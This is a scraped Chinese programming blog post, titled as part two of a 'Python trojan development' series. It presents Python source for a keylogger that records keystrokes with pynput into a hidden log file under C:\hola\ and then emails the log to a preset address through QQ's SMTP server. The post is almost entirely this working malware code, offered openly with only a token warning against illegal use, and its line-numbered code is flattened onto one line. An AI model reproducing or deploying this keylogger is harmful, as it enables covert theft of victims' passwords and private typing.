python trojan development 2nd —— use python to send mail and listen to the key board then combine them
阿新 • • 發佈:2019-02-28
conf ssa rst 創建 fin com mat os.path onf
今晚先上代碼,明天再說怎麽寫的,請勿用於非法用途!!!!!
1 from pynput.keyboard import Key,Listener 2 import logging 3 import os 4 import smtplib 5 from email.mime.text import MIMEText 6 from PIL import ImageGrab 7 import random 8 from time import * 9 from email.mime.multipart import MIMEMultipart 10 from email.mime.text importMIMEText 11 from email.mime.image import MIMEImage 12 13 def send_mail(filename): 14 file = open(filename,"r",encoding="UTF-8") 15 data = file.read() 16 file.close() 17 msg_from=‘@qq.com‘ #發送方郵箱 18 passwd=‘‘ #填入發送方郵箱的授權碼 19 msg_to=‘‘ 20 21 22 subject="python郵件測試" #主題 23 content=data 24 msg = MIMEText(content,"plain","utf-8") 25 msg[‘Subject‘] = subject 26 msg[‘From‘] = msg_from 27 msg[‘To‘] = msg_to 28 try: 29 s = smtplib.SMTP_SSL("smtp.qq.com",465) 30 s.login(msg_from, passwd) 31 s.sendmail(msg_from, msg_to, msg.as_string()) 32 print( "發送成功") 33 except: 34 print("發送失敗") 35 finally: 36 s.quit() 37 38 def mkdir(path): 39 40 path = path.strip() 41 # 去除尾部 \ 符號 42 path = path.rstrip("\\") 43 44 isExists = os.path.exists(path) 45 46 # 判斷結果 47 if not isExists: 48 49 os.makedirs(path) 50 51 # print(path + ‘ 創建成功‘) 52 return True 53 else: 54 # 如果目錄存在則不創建,並提示目錄已存在 55 # print(path + ‘ 目錄已存在‘) 56 return False 57 58 59 # 定義要創建的目錄 60 path = "C:\\hola\\" 61 # 調用函數 62 mkdir(path) 63 64 logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG) 65 66 67 def press(key): 68 logging.info(key) 69 if key==Key.enter: 70 return False 71 72 with Listener(on_press = press) as listener: 73 listener.join() 74 75 76 send_mail(path+"keylog.txt")
python trojan development 2nd —— use python to send mail and listen to the key board then combine them